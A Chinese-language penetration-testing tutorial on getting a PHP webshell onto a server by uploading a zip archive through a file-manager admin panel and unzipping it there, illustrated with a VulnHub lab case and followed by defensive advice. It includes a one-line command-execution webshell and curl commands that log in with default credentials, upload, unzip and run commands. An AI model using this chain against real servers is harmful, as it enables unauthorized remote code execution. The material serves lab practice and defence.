文件上传与 Zip 解压释放 WebShell
很多后台会限制直接上传 .php,但允许上传压缩包,并在后台提供“解压”功能。如果解压后的文件落在 Web 可访问目录,攻击者就可能通过 Zip 包间接释放 WebShell。
这类路径常见于文件管理器、CMS 插件、备份管理面板和旧式 Web 文件浏览器。
判断条件
| 条件 | 说明 |
|---|---|
| 可登录后台 | 弱口令、默认口令或已获取凭据 |
| 可上传压缩包 | 直接 .php 可能被拦,但 .zip 被允许 |
| 后台可解压 | 解压目录可控或固定在 Web 目录 |
| 解压后可访问 | shell.php 能通过 URL 访问 |
| PHP 可执行 | Web 服务器会解释解压出的 PHP 文件 |
基础流程
1. 准备最小 WebShell
授权靶场中可用最小命令执行文件:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php
2. 登录后台
以 File Thingie 这类表单后台为例:
curl -s -L -c cookies.txt \
-d "ft_user=admin&ft_pass=admin&act=dologin" \
http://target:54787/project/index.php
3. 上传 Zip
curl -s -b cookies.txt \
-F "act=upload" \
-F "localfile=@shell.zip" \
http://target:54787/project/index.php
4. 后台解压
curl -s -b cookies.txt \
-d "act=unzip&file=shell.zip&dir=&newvalue=shell.zip&submit=Ok" \
http://target:54787/project/index.php
5. 访问解压后的文件
curl -s 'http://target:54787/project/shell.php?cmd=id'
防坑点
- 先上传普通文本文件确认路径,不要直接假设解压目录。
- 如果
.php不执行,检查是否落在静态目录、扩展名是否被改写。 - 如果 Zip 内有目录层级,URL 路径也要带上目录。
- 后台可能需要 CSRF token,先用浏览器或 Burp 看真实请求。
- 弱口令后台本身也是发现点,别只盯着上传功能。
Solstice 案例
sunset: solstice 的 54787 端口暴露 File Thingie 后台,admin:admin 可登录。直接利用上传和解压功能释放 shell.php,访问后得到 www-data RCE。
完整过程见:VulnHub sunset: solstice 通关记录。
防御建议
- 后台必须使用强口令和 MFA,禁用默认账号。
- 上传目录和解压目录不要允许脚本执行。
- 解压前校验压缩包内容,拒绝危险扩展名和路径穿越。
- 解压后的文件名、MIME、扩展名都要重新检查。
- 文件管理器后台不要暴露到不必要的网络范围。